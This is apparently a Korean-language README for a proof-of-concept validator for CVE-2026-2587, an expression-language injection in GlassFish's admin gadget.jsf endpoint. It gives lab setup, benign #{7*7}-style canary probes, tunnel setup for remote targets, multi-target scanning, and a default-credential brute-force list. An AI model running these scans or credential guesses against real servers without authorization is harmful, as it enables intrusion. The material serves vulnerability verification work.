XML이 `<ModulePrefs title="">` 속성에 `#{7*7}`을 포함하면, GlassFish는 서버 측에서 이를 평가하여 `49`를 반환합니다. 이는 EL 실행을 확인하는 것입니다. EL이 Java 런타임에 접근할 수 있으므로 전체 RCE 체인이 이어집니다.

현재 공개된 권고 기록은 영향을 받거나 패치된 버전 경계를 공개하지 않습니다. 따라서 이 검증기는 증명 우선(proof-first) 방식입니다. GlassFish의 지문을 수집하여 버전 메타데이터를 보고하지만, 버전 문자열만으로 대상을 취약하다고 분류하지 않습니다.

---

## How It Works

![CVE-2026-2587를 위한 안전한 검증 워크플로우](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

안전한 검증 경로는 무해한 XML 프로브를 호스팅하고, 인증된 관리 콘솔 요청을 `gadget.jsf`에 전송하며, GlassFish가 콜백 URL에서 해당 XML을 가져오도록 한 후, `<ModulePrefs title="">` 카나리가 `#{7*7}`에서 `49`로 평가되는지 확인합니다.

**인젝션 포인트 확인 vs. 미확인:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

**저장소 내용:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

GlassFish 7.0.15를 실행하며, 포트는 `127.0.0.1`에만 바인딩되고 `host.docker.internal`이 사전 연결되어 컨테이너가 로컬 XML 서버에 접근할 수 있습니다.

### 옵션 B — bare docker run```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

컨테이너의 관점에서 도달 가능성을 확인하십시오:```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

| 출력 | 의미 |
|---|---|
| `CVE2587_TITLE_49_END` | **취약함** — `ModulePrefs title`에서 EL 평가됨 |
| `CVE2587_BODY_49_END` | **취약함** — CDATA 본문에서 EL 평가됨 |
| `CVE2587_TITLE_#{7*7}_END` | 취약하지 않음 / EL 평가되지 않음 |
| *(출력 없음)* | GlassFish가 XML을 가져오지 않음 — 콜백 접근 가능성 확인 |

> 일반적으로 취약한 빌드에서도 CDATA 본문은 원시 상태로 유지됩니다. `TITLE` 결과만 양성이면 해당 발견을 확인하기에 충분합니다.

---

### 로컬 랩에 대한 자동화된 검증```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

파일에 쓴 후 출력:```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

> `host.docker.internal`는 Docker 내부에서 호스트 머신으로 확인됩니다.
> GlassFish 컨테이너는 이 주소를 통해 프로브 XML을 가져옵니다.

---

### 자격 증명```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

유효한 쌍이 발견되면 출력에 인쇄되고 CSV의 `brute_creds` 열에 기록됩니다. 모든 쌍이 실패하면 스캔은 `AUTH_REQUIRED`로 종료됩니다.

일부 GlassFish 빌드는 유효한 양식 POST 후에 `/login.jsf`를 반환합니다. 유효성 검사기는 해당 URL만으로는 실패로 간주하지 않습니다. 관리자 가젯 엔드포인트를 프로빙하고 응답이 로그인 양식이 아닌지 확인하여 세션을 확인합니다.

시도된 자격 증명 목록 (순서):

| Username | Password |
|---|---|
| `admin` | `admin` |
| `admin` | *(empty)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |

---

### Cloudflare Tunnel을 통한 원격 접속

빠른 터널을 위해 계정이 필요하지 않습니다.

**1단계 — cloudflared 설치:**```bash
# macOS
brew install cloudflared

# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb

**3단계 — 검증기 실행:**

콜백 URL에는 생성된 동일한 호스트 이름을 `http://`와 함께 사용하세요. 이렇게 하면 Cloudflare TLS 인증서 체인을 검증할 수 없는 GlassFish 랩 컨테이너에서 JVM 트러스트 저장소 오류가 발생하지 않습니다. 생성된 `https://` trycloudflare URL을 붙여넣으면 검증기가 해당 콜백을 `http://`로 다시 작성하고 경고를 출력합니다. 끝 슬래시는 선택 사항이며, 검증기가 `/canary.xml` 및 각 테스트별 XML 경로를 자동으로 추가합니다.```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://random-words.trycloudflare.com \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

> `--prefix`, `--left`, `--right`는 호스팅된 XML 파일 내의 값과 일치해야 합니다. 그래야 스크립트가 응답에서 평가된 토큰을 어디서 찾을지 알 수 있습니다.

---

### ngrok을 통한 원격 접속 (최후의 수단)

ngrok는 원격 대상에 대한 최후의 옵션으로만 사용하세요. 무료 티어는 브라우저에서 오지 않는 서버 측 요청을 중간 HTML 경고 페이지를 반환하여 차단할 수 있습니다. 이 경우 GlassFish는 `probe.xml` 대신 경고 페이지를 가져오며, 유효성 검사기는 응답을 로그인 페이지 또는 불확실한 결과로 분류할 수 있습니다. 이 제한을 우회하는 유료 ngrok 계정이 없는 한, Cloudflare Tunnel, VPS 또는 대상 JVM이 깔끔하게 가져올 수 있는 정적 웹 호스트를 선호하세요.

**1단계 — ngrok 설치:**```bash
# macOS
brew install ngrok

# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
  | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
  | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok

**3단계 — 검증기 실행:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

---

## 사용법 — 여러 대상

### 대상 파일 형식

리포지토리에는 템플릿으로 `targets.txt.example`이 포함되어 있습니다. 복사하여 편집하세요:```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers

모든 대상에 대해 실행:```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --insecure \
  --csv results.csv

> 권장 스레드 수:
> - 로컬 실험실: 최대 `10`
> - 인터넷을 통한 원격 대상: `3–5` (속도 제한 준수)
> - 단일 대상: `1` (기본값)

---

## 출력 형식

### 콘솔

기본 사람이 읽을 수 있는 출력. 각 테스트 케이스 결과를 보려면 `--verbose`를 추가하세요.```
────────────────────────────────────────────────────────────────
  Target : https://localhost:4848
  Server : Eclipse GlassFish 7.0.15
  Version : Eclipse GlassFish 7.0.15  [asadmin-api]  (affected: UNKNOWN)
  Console : present  |  Gadget: present  |  Proof: evaluated
[+] VULNERABLE  —  9/10 test cases confirmed
[+]   TC-01 Basic multiply      #{7*7} → 49
[+]   TC-02 Addition            #{1337+2587} → 3924
[+]   TC-03 Large multiply      #{31337*271} → 8492327
    ...

    Remediation: restrict admin access and apply vendor-published fixed builds when available.

### CSV```bash
# Write to file
--csv results.csv

# Write to stdout (pipe-friendly)
--csv -

### JSON```bash
--json

여러 대상은 JSON 배열을 반환합니다.

---

### 출력 결합

모든 출력 형식은 독립적입니다 — 자유롭게 결합하세요:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --threads 5 --insecure --verbose \
  --csv results.csv \
  --json > results.json

또한 리디렉트 `Location` 헤더로부터 기본이 아닌 GUI 컨텍스트 루트를 학습하여 테스트 전에 해당 루트를 앞에 추가합니다. 이 발견 목록을 재정의하려는 경우에만 반복 가능한 `--path` 값을 사용하십시오.

버전 탐지는 응답 헤더, 관리 REST API, 로그인 페이지, 그리고 로그인 성공 후 `/__asadmin/version.json` 또는 `/__asadmin/version`에서 시도됩니다. 버전 데이터는 라우팅 및 보고를 개선할 뿐입니다; 스캐너는 공개 권고 레코드가 버전 경계를 게시할 때까지 `version_affected`를 `UNKNOWN`으로 남깁니다.

---

### 사용자 정의 Canary 값

`--prefix`, `--left`, `--right`를 사용하여 수동으로 제작된 XML에 검사기를 일치시킵니다. 자체 호스팅 파일과 함께 `--xml-url`을 사용할 때 필요합니다.```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://TARGET:4848 \
  --xml-url http://YOUR_SERVER/custom.xml \
  --prefix MYTEST --left 13 --right 17 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

---

## 테스트 케이스

검증기는 10개의 개별 EL 프로브를 실행하며, 각각은 다른 기능을 확인합니다:

| # | 페이로드 | 기대 값 | 증명하는 내용 |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | 기준 산술 카나리 |
| TC-02 | `#{1337+2587}` | `3924` | 덧셈 연산자 |
| TC-03 | `#{31337*271}` | `8492327` | 충돌에 강한 큰 수 곱셈 |
| TC-04 | `#{9999-1337}` | `8662` | 뺄셈 연산자 |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | 중첩 괄호 / 연산자 우선순위 |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | 조건부 / 삼항 — 제어 흐름 실행 |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | 문자열 메서드 접근 |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | 연결된 메서드 호출 |
| TC-09 | `#{17 mod 5}` | `2` | EL 키워드 연산자 |
| TC-10 | `#{100*100}` | `10000` | 추가 산술 확인 |

TC-06, TC-07, TC-08이 가장 중요합니다. 통과한다는 것은 EL 엔진이 **문자열 API 메서드와 조건부 로직**을 실행한다는 의미이며, 이는 완전한 RCE 체인으로 가는 직접적인 전조입니다.

---

## 출력 해석

| 상태 | 의미 |
|---|---|
| `VULNERABLE` | EL 표현식이 평가됨 — 인스턴스가 영향받는 것으로 확인됨 |
| `VULNERABLE_UNAUTH` | 인증 없이 엔드포인트가 노출됨 — 기본 CVE보다 더 심각함 |
| `NOT_VULNERABLE` | 표현식이 문자 그대로 반영됨 — EL이 평가되지 않음 |
| `AUTH_REQUIRED` | 엔드포인트가 로그인 페이지를 반환함 — 쿠키 또는 자격 증명 확인 |
| `INCONCLUSIVE` | 응답을 받았지만 카나리를 찾을 수 없음 — 아래 참고 |
| `ERROR` | 요청 실패 — 네트워크/TLS 문제 |

`detected_version`과 `version_source`는 보조적인 맥락 정보입니다. 공개 권고가 현재 영향받는 버전과 패치된 버전을 알 수 없음으로 나열하고 있으므로, `version_affected=UNKNOWN`을 부정적인 결과로 간주하지 마십시오. 유일한 긍정적 발견은 평가된 증명 토큰입니다.

**INCONCLUSIVE 문제 해결:**

| 증상 | 원인 | 해결 방법 |
|---|---|---|
| `XML hits: 0` | GlassFish가 XML을 가져오지 못함 | `--callback-url`이 대상에서 접근 가능하지 않음 |
| `XML hits: 1+`이지만 일치 없음 | EL이 평가되었지만 잘못된 필드 | CDATA 콘텐츠에서 예상됨 |
| 실행 중 인증 리디렉션 | 세션 만료 | 브라우저에서 새 `JSESSIONID`를 가져오세요 |
| 로그인 POST가 `j_security_check`로 리디렉션 | 잘못된 비밀번호 | 대신 `--cookie` 사용 |

---

## 수동 확인

Python 필요 없음:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
  <ModulePrefs title="PROBE_#{7*7}_END"/>
  <Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF

# Step 2 — serve it
python3 -m http.server 8000 --directory probe &

# Step 3 — hit the endpoint with your session cookie
curl -sk \
  -H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
  "https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
  | grep -oE 'PROBE_[^"< ]+_END'

# Vulnerable output:
# PROBE_#{7*7}_END    ← raw (CDATA — expected)
# PROBE_49_END        ← evaluated ✅ VULNERABLE

---

<p align="center">
  <a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>